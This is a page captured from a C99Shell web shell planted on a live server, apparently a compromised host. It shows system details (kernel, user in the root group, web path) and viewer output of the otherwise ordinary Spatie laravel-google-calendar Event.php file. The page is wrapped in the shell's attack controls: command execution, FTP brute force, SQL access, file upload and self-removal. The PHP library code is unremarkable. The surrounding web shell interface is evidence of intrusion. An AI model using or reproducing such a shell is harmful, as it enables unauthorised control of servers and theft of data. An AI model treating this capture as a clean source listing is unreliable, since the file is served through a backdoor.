!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/spatie/laravel-google-calendar/src/   drwxr-xr-x
Free 29.03 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Event.php (9.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\GoogleCalendar;

use 
Carbon\Carbon;
use 
Carbon\CarbonInterface;
use 
DateTime;
use 
Google_Service_Calendar_ConferenceData;
use 
Google_Service_Calendar_ConferenceSolutionKey;
use 
Google_Service_Calendar_CreateConferenceRequest;
use 
Google_Service_Calendar_Event;
use 
Google_Service_Calendar_EventAttendee;
use 
Google_Service_Calendar_EventDateTime;
use 
Google_Service_Calendar_EventSource;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Str;

class 
Event
{
    
/** @var \Google_Service_Calendar_Event */
    
public $googleEvent;

    
/** @var string */
    
protected $calendarId;

    
/** @var array */
    
protected $attendees;

    
/** @var bool */
    
protected $hasMeetLink false;

    public function 
__construct()
    {
        
$this->attendees = [];
        
$this->googleEvent = new Google_Service_Calendar_Event;
    }

    
/**
     * @param \Google_Service_Calendar_Event $googleEvent
     * @param $calendarId
     *
     * @return static
     */
    
public static function createFromGoogleCalendarEvent(Google_Service_Calendar_Event $googleEvent$calendarId)
    {
        
$event = new static;

        
$event->googleEvent $googleEvent;
        
$event->calendarId $calendarId;

        return 
$event;
    }

    
/**
     * @param array $properties
     * @param string|null $calendarId
     *
     * @return mixed
     */
    
public static function create(array $propertiesstring $calendarId null$optParams = [])
    {
        
$event = new static;

        
$event->calendarId = static::getGoogleCalendar($calendarId)->getCalendarId();

        foreach (
$properties as $name => $value) {
            
$event->$name $value;
        }

        return 
$event->save('insertEvent'$optParams);
    }

    public static function 
quickCreate(string $text)
    {
        
$event = new static;

        
$event->calendarId = static::getGoogleCalendar()->getCalendarId();

        return 
$event->quickSave($text);
    }

    public static function 
get(CarbonInterface $startDateTime nullCarbonInterface $endDateTime null, array $queryParameters = [], string $calendarId null): Collection
    
{
        
$googleCalendar = static::getGoogleCalendar($calendarId);

        
$googleEvents $googleCalendar->listEvents($startDateTime$endDateTime$queryParameters);

        
$googleEventsList $googleEvents->getItems();

        while (
$googleEvents->getNextPageToken()) {
            
$queryParameters['pageToken'] = $googleEvents->getNextPageToken();

            
$googleEvents $googleCalendar->listEvents($startDateTime$endDateTime$queryParameters);

            
$googleEventsList array_merge($googleEventsList$googleEvents->getItems());
        }

        
$useUserOrder = isset($queryParameters['orderBy']);

        return 
collect($googleEventsList)
            ->
map(function (Google_Service_Calendar_Event $event) use ($calendarId) {
                return static::
createFromGoogleCalendarEvent($event$calendarId);
            })
            ->
sortBy(function (self $event$index) use ($useUserOrder) {
                if (
$useUserOrder) {
                    return 
$index;
                }

                return 
$event->sortDate;
            })
            ->
values();
    }

    public static function 
find($eventIdstring $calendarId null): self
    
{
        
$googleCalendar = static::getGoogleCalendar($calendarId);

        
$googleEvent $googleCalendar->getEvent($eventId);

        return static::
createFromGoogleCalendarEvent($googleEvent$calendarId);
    }

    public function 
__get($name)
    {
        
$name $this->getFieldName($name);

        if (
$name === 'sortDate') {
            return 
$this->getSortDate();
        }

        if (
$name === 'source') {
            return [
                
'title' => $this->googleEvent->getSource()->title,
                
'url' => $this->googleEvent->getSource()->url,
            ];
        }

        
$value Arr::get($this->googleEvent$name);

        if (
in_array($name, ['start.date''end.date']) && $value) {
            
$value Carbon::createFromFormat('Y-m-d'$value)->startOfDay();
        }

        if (
in_array($name, ['start.dateTime''end.dateTime']) && $value) {
            
$value Carbon::createFromFormat(DateTime::RFC3339$value);
        }

        return 
$value;
    }

    public function 
__set($name$value)
    {
        
$name $this->getFieldName($name);

        if (
in_array($name, ['start.date''end.date''start.dateTime''end.dateTime'])) {
            
$this->setDateProperty($name$value);

            return;
        }

        if (
$name == 'source') {
            
$this->setSourceProperty($value);

            return;
        }

        
Arr::set($this->googleEvent$name$value);
    }

    public function 
exists(): bool
    
{
        return 
$this->id != '';
    }

    public function 
isAllDayEvent(): bool
    
{
        return 
is_null($this->googleEvent['start']['dateTime']);
    }

    public function 
save(string $method null$optParams = []): self
    
{
        
$method $method ?? ($this->exists() ? 'updateEvent' 'insertEvent');

        
$googleCalendar $this->getGoogleCalendar($this->calendarId);

        if (
$this->hasMeetLink) {
            
$optParams['conferenceDataVersion'] = 1;
        }

        
$googleEvent $googleCalendar->$method($this$optParams);

        return static::
createFromGoogleCalendarEvent($googleEvent$googleCalendar->getCalendarId());
    }

    public function 
quickSave(string $text): self
    
{
        
$googleCalendar $this->getGoogleCalendar($this->calendarId);

        
$googleEvent $googleCalendar->insertEventFromText($text);

        return static::
createFromGoogleCalendarEvent($googleEvent$googleCalendar->getCalendarId());
    }

    public function 
update(array $attributes$optParams = []): self
    
{
        foreach (
$attributes as $name => $value) {
            
$this->$name $value;
        }

        return 
$this->save('updateEvent'$optParams);
    }

    public function 
delete(string $eventId null$optParams = [])
    {
        
$this->getGoogleCalendar($this->calendarId)->deleteEvent($eventId ?? $this->id$optParams);
    }

    public function 
addAttendee(array $attendee)
    {
        
$this->attendees[] = new Google_Service_Calendar_EventAttendee([
            
'email' => $attendee['email'],
            
'comment' => $attendee['comment'] ?? null,
            
'displayName' => $attendee['name'] ?? null,
            
'responseStatus' => $attendee['responseStatus'] ?? 'needsAction',
        ]);

        
$this->googleEvent->setAttendees($this->attendees);
    }

    public function 
addMeetLink()
    {
        
$conferenceData = new Google_Service_Calendar_ConferenceData([
            
'createRequest' => new Google_Service_Calendar_CreateConferenceRequest([
                
'requestId' => Str::random(10),
                
'conferenceSolutionKey' => new Google_Service_Calendar_ConferenceSolutionKey([
                    
'type' => 'hangoutsMeet',
                ]),
            ]),
        ]);

        
$this->googleEvent->setConferenceData($conferenceData);

        
$this->hasMeetLink true;
    }

    public function 
getSortDate(): string
    
{
        if (
$this->startDate) {
            return 
$this->startDate;
        }

        if (
$this->startDateTime) {
            return 
$this->startDateTime;
        }

        return 
'';
    }

    public function 
getCalendarId(): string
    
{
        return 
$this->calendarId;
    }

    protected static function 
getGoogleCalendar(string $calendarId null): GoogleCalendar
    
{
        
$calendarId $calendarId ?? config('google-calendar.calendar_id');

        return 
GoogleCalendarFactory::createForCalendarId($calendarId);
    }

    protected function 
setDateProperty(string $nameCarbonInterface $date)
    {
        
$eventDateTime = new Google_Service_Calendar_EventDateTime;

        if (
in_array($name, ['start.date''end.date'])) {
            
$eventDateTime->setDate($date->format('Y-m-d'));
            
$eventDateTime->setTimezone((string) $date->getTimezone());
        }

        if (
in_array($name, ['start.dateTime''end.dateTime'])) {
            
$eventDateTime->setDateTime($date->format(DateTime::RFC3339));
            
$eventDateTime->setTimezone((string) $date->getTimezone());
        }

        if (
Str::startsWith($name'start')) {
            
$this->googleEvent->setStart($eventDateTime);
        }

        if (
Str::startsWith($name'end')) {
            
$this->googleEvent->setEnd($eventDateTime);
        }
    }

    protected function 
setSourceProperty(array $value)
    {
        
$source = new Google_Service_Calendar_EventSource([
            
'title' => $value['title'],
            
'url' => $value['url'],
        ]);

        
$this->googleEvent->setSource($source);
    }

    public function 
setColorId(int $id)
    {
        
$this->googleEvent->setColorId($id);
    }

    protected function 
getFieldName(string $name): string
    
{
        return [
            
'name' => 'summary',
            
'startDate' => 'start.date',
            
'endDate' => 'end.date',
            
'startDateTime' => 'start.dateTime',
            
'endDateTime' => 'end.dateTime',
        ][
$name] ?? $name;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--